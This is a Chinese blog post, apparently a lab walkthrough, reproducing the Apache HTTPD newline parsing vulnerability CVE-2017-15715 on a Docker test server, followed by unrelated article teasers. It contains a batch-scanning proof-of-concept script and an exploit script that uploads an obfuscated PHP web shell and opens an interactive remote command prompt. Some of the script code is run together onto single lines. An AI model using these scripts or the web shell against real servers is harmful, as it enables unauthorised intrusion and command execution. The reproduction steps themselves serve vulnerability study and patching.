Apache HTTPD 换行解析漏洞

漏洞介绍

CVE-2017-15715

Apache HTTPD 是一个广泛使用的 HTTP 服务器,可以通过 mod_php 模块来运行 PHP 网页。在其 2.4.0 到 2.4.29 版本中存在一个解析漏洞,当文件名以 1.php\x0A 结尾时,该文件会被按照 PHP 文件进行解析,这使得攻击者可以绕过服务器的一些安全策略。

环境搭建

docker compose build
docker compose up -d

检测web使用的服务器,Apache 2.4.10版本,可能存在Apache HTTPD 解析漏洞

image.png

漏洞复现

上传一个phpinfo的文件

<?php phpinfo();?>

首先,尝试上传一个名为 phpin.php 的文件,可以看到上传被安全检查拦截:

3.jpg

切换到Hex,在1.php后添加0a

但是,如果我们在文件名 1.php 后面添加一个 \x0A(注意:必须是单独的 \x0A,而不是 \x0D\x0A),上传就会成功:

4.jpg

发送数据包,如图所示

5.jpg

在ubuntu上查看信息,科里面可以看到我们上传的11.php文件

#查看镜像CONTAINER ID
docker ps
root@xuan-virtual-machine:/home/xuan/vulhub/httpd/CVE-2017-15715# docker exec -it cve-2017-15715_apache_1  bash
root@2dbf622e717a:/var/www/html# ls
11.php?  index.php

浏览器进行访问[http://192.168.118.135:8080/11.php%0A](http://192.168.118.135:8080/11.php )

当访问上传的文件 /1.php%0a 时,虽然该文件没有正确的 PHP 扩展名,但它会被成功解析为 PHP 文件。这证实了解析漏洞的存在:

6.jpg

POC和EXP脚本

#CVE-2017-15715-POC
__author__ = '纸机'
import requests
import optparse
import osparse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')options,args = parse.parse_args()
#print(options)
#验证参数是否完整
if (not options.URL or not options.PORT) and not options.FILE:print('Usage:python3 CVE-2017-15715-POC.py [-u url] [-p port] [-f FILE]\n')exit('CVE-2017-15715-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')filename = '/2.php%0A'
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0','Content-Type': 'multipart/form-data; boundary=---------------------------153388130435749919031880185481'}
#提交数据
data = '''-----------------------------153388130435749919031880185481
Content-Disposition: form-data; name="file"; filename="2.php"
Content-Type: application/octet-streamaaa
-----------------------------153388130435749919031880185481
Content-Disposition: form-data; name="name"2.php-----------------------------153388130435749919031880185481--'''
#验证链接
#url2 = options.URL+':'+options.PORT+filename
def upload(url):try:#上传文件resp = requests.post(url,headers=headers,data=data)return 1except Exception as e:print("[-] {0} 连接失败".format(url))return 0def checking(url):try:#验证文件是否上传成功response = requests.get(url+filename)if response.status_code == 200 and 'aaa' in response.text:print('[+] {0} 存在CVE-2017-15715 Apache HTTPD 换行解析漏洞'.format(url))else:print('[-] {0} 不存在Apache HTTPD 换行解析漏洞'.format(url))except Exception as e:print("[-]{0}连接失败".format(url))if options.FILE and os.path.exists(options.FILE):with open(options.FILE) as f:urls = f.readlines()#print(urls)for url in urls:url = str(url).replace("\n", "")if upload(url) == 1:checking(url)
elif options.FILE and not os.path.exists(options.FILE):print('[-] {0} 文件不存在'.format(options.FILE))
else:#上传链接url = options.URL+':'+options.PORTif upload(url) == 1:checking(url)
python .\CVE-2017-15715-POC.py  -u http://192.168.118.135  -p 8080

7.jpg

EXP

#CVE-2017-15715 EXP
__author__ = 'zhiji'import requests
import optparse
import timeparse = optparse.OptionParser(usage = 'python3 %prog -u url [-p port] version=1.0')
parse.add_option('-u','--url',dest='url',help='web server ip_addr')
parse.add_option('-p','--port',dest='port',help='web server port[default:8080]',default='8080')options,args = parse.parse_args()
#验证参数是否完整
if not options.url or not options.port:print('Usage:python3 CVE-2017-15715-EXP.py -u url -p port\n')exit('CVE-2017-15715-EXP.py:error:missing a mandatory option(-u,-p).\nUse -h for basic and -hh for advanced help')#ip = '192.168.132.142:8080/'
filename = '/hackdoor.php%0a?0='#上传链接
url1 = options.url+':'+options.port
#命令执行
url2 = options.url+':'+options.port+filename#数据包头部
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0','Content-Type': 'multipart/form-data; boundary=---------------------------153388130435749919031880185481'}
#上传数据
data = '''-----------------------------153388130435749919031880185481
Content-Disposition: form-data; name="file"; filename="hackdoor.php"
Content-Type: application/octet-stream<?=$_="";$_="'" ;$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>-----------------------------153388130435749919031880185481
Content-Disposition: form-data; name="name"hackdoor.php-----------------------------153388130435749919031880185481--'''#上传木马
def upload(url):print('[*]目标地址:'+url1)respond = requests.post(url1,headers=headers,data=data)try:if respond.status_code == 200:print('[+]木马上传成功')else:print('[-]上传失败')except Exception as e:print(e)#命令执行
def attack(url,cmd):respond = requests.get(url+cmd)try:if respond.status_code == 200 and cmd == 'pwd':return respond.textif respond.status_code == 200:print(respond.text)else:print('命令执行错误')except Exception as e:print(e)
upload(url1)
time.sleep(0.5)
print('输入执行命令(quit退出):')
while(1):pwd = attack(url2,'pwd')pwd = '{0}>'.format(str(pwd).replace("\n",""))cmd = input(pwd)if(cmd == 'quit'):breakattack(url2,cmd)
python .\CVE-2017-15715-EXP.py  -u http://192.168.118.135  -p 8080

8.jpg

修复建议

  • 升级到最新版本
  • 对上传文件重命名
  • 禁用上传文件的执行权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/76336.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

常用开发环境/工具版本选择(持续更新中)

操作系统&#xff1a;Ubuntu Server Version&#xff08;LTS&#xff09;Latest Sub VerRelease Time24.04(Noble Numbat)24.04.22025-02-1622.04(Jammy Jellyfish)22.04.52024-09-1120.04(Focal Fossa)20.04.62023-03-1418.04(Bionic Beaver)18.04.62021-09-1516.04.7(Xenial…

STM32 认识STM32

目录 什么是嵌入式&#xff1f; 认识STM32单片机 开发环境安装 安装开发环境 开发板资源介绍 单片机开发模式 创建工程的方式 烧录STM32程序 什么是嵌入式&#xff1f; 1.智能手环项目 主要功能有&#xff1a; 彩色触摸屏 显示时间 健康信息&#xff1a;心率&#…

C#核心笔记——(六)框架基础

我们在编程时所需的许多核心功能并不是由C#语言提供的,而是由.NET Framework中的类型提供的。本节我们将介绍Framework在基础编程任务(例如虚的等值比较、顺序比较以及类型转换)中的作用。我们还会介绍Framework中的基本类型,例如String、DateTime和Enum. 本章中的绝大部分…

AI——K近邻算法

文章目录 一、什么是K近邻算法二、KNN算法流程总结三、Scikit-learn工具1、安装2、导入3、简单使用 三、距离度量1、欧式距离2、曼哈顿距离3、切比雪夫距离4、闵可夫斯基距离5、K值的选择6、KD树 一、什么是K近邻算法 如果一个样本在特征空间中的k个最相似&#xff08;即特征空…

transient关键字深度解析

Java transient 关键字深度解析 transient(意思:瞬时的,瞬间的) 1. 核心概念 (1) 基本定义 作用:标记字段不参与序列化 适用场景: 敏感数据(如密码、密钥) 临时计算字段 依赖运行时环境的字段(如Thread对象) (2) 语法示例 java public class User implements Se…

信刻电子档案蓝光光盘刻录安全检测长期归档

信刻一直致力于为档案馆、各行业档案部门&#xff0c;提供跨网数据交换、电子档案数据磁光异质备份归档解决方案。所研制的电子档案光盘智能长期归档系统&#xff0c;满足国产环境下”刻、管、存、检、用”全生命周期管理应用需求&#xff0c;能够提供一份离线归档、一份近线存…

Word 中“母版页”的等效机制

Word 和 PowerPoint 不太一样——**Word 实际上没有像 PowerPoint 那样的“母版页&#xff08;Master Page&#xff09;”**功能。但它有1个和“母版页”功能类似的东西&#xff0c;可能造成你看到的“校徽自动出现在每一页”的现象&#xff1a; ✅ Word 中“母版页”的等效机制…

Go:反射

为什么使用反射 在编程中&#xff0c;有时需编写函数统一处理多种值类型 &#xff0c;这些类型可能无法共享同一接口、布局未知&#xff0c;甚至在设计函数时还不存在 。 func Sprint(x interface{}) string {type stringer interface {String() string}switch x : x.(type) …

SS25001-多路复用开关板

1 概述 1.1 简介 多路复用开关板是使用信号继电器实现2线制的多路复用开关板卡&#xff1b;多路复用开关是一种可以将一个输入连接到多个输出或一个输出连接到多个输入的拓扑结构。这种拓扑通常用于扫描&#xff0c;适合将一系列通道自动连接到公共线路的的设备。多路复用开…

vue3 nprogress 使用

nprogress 介绍与作用 1.nprogress 是一个轻量级的进度条组件&#xff0c;主要用于在页面加载或路由切换时显示一个进度条&#xff0c;提升用户体验。它的原理是通过在页面顶部创建一个 div&#xff0c;并使用 fixed 定位来实现进度条的效果 2.在 Vite Vue 3 项目中&#xf…

Jsp技术入门指南【六】jsp脚本原理及隐式对象

Jsp技术入门指南【六】jsp脚本原理及隐式对象 前言一、JSP 脚本元素1.1 声明1.2 表达式1.3 脚本标签 二、JSP 的隐式对象是什么三、隐式对象详解outrequestsessionapplicationconfigexception 前言 在之前的博客中&#xff0c;我们已经介绍了JSP的环境搭建、编译文件查找以及生…

vue3推荐的移动table库

vxe-table https://gitee.com/js-class/vxe-table#https://gitee.com/link?targethttps%3A%2F%2Fvxetable.cn 文档api https://vxetable.cn/#/component/table/other/bookkeepingVoucher 引入步骤 安装 npm install xe-utils vxe-tablenext 在项目main.js引入 import …

HOOPS Exchange 与HOOPS Communicator集成:打造工业3D可视化新标杆!

一、概述 在工业3D开发、BIM建筑、数字孪生和仿真分析等高端应用场景中&#xff0c;数据格式复杂、模型体量庞大、实时交互体验要求高&#xff0c;一直是困扰开发者的难题。Tech Soft 3D旗下的HOOPS Exchange和HOOPS Communicator&#xff0c;正是解决这类问题的黄金搭档。二者…

《软件设计师》复习笔记(14.3)——设计模式

目录 一、设计模式分类 1. 创建型模式&#xff08;Creational Patterns&#xff09; 2. 结构型模式&#xff08;Structural Patterns&#xff09; 3. 行为型模式&#xff08;Behavioral Patterns&#xff09; 真题示例&#xff1a; 一、设计模式分类 架构模式 高层设计决…

HarmonyOS:使用Refresh组件实现页面下拉刷新上拉加载更多

一、前言 可以进行页面下拉操作并显示刷新动效的容器组件。 说明 该组件从API Version 8开始支持。后续版本如有新增内容&#xff0c;则采用上角标单独标记该内容的起始版本。该组件从API Version 12开始支持与垂直滚动的Swiper和Web的联动。当Swiper设置loop属性为true时&…

55、⾸屏加载⽩屏怎么进⾏优化

答&#xff1a; &#xff08;1&#xff09;使⽤CDN 减⼩代码体积&#xff0c;加快请求速度&#xff1b; (2)SSR通过服务端把所有数据全部渲染完成再返回给客⼾端&#xff1b; (3) 路由懒加载&#xff0c;当⽤⼾访问的时候&#xff0c;再加载相应模块&#xff1b; (4) 使⽤外…

什么是Python单例模式

什么是Python单例模式 Python单例模式是一种创建型设计模式,目的是确保一个类仅有一个实例,并提供一个全局访问点来获取该实例。以下从作用和示例进行介绍: 作用 控制资源使用:避免对系统资源的重复消耗,像数据库连接、文件句柄等稀缺资源,只创建一个实例来管理使用,防…

Java 2025:解锁未来5大技术趋势,Kotlin融合AI新篇

各位Java开发者们好&#xff01;&#x1f680; 2025年的Java世界正在经历一场前所未有的技术变革。作为深耕Java领域多年的技术博主&#xff0c;今天我将带大家深入探索Java生态即将迎来的5大技术趋势&#xff0c;特别是Kotlin的深度融合和AI技术的新篇章。准备好了吗&#xff…

计算机视觉cv2入门之车牌号码识别

前边我们已经讲解了使用cv2进行图像预处理与边缘检测等方面的知识&#xff0c;这里我们以车牌号码识别这一案例来实操一下。 大致思路 车牌号码识别的大致流程可以分为这三步&#xff1a;图像预处理-寻找车牌轮廓-车牌OCR识别 接下来我们按照这三步来进行讲解。 图像预处理 …

CExercise_13_1排序算法_3快速排序算法,包括单向分区以及双向分区

题目&#xff1a; 请手动实现快速排序算法&#xff0c;包括单向分区以及双向分区&#xff1a; // 单向分区快速排序算法 void quick_sort_one_way(int arr[], int len); //双向分区快速排序算法 void quick_sort_two_way(int arr[], int len); 关键点 分析&#xff1a; &#x…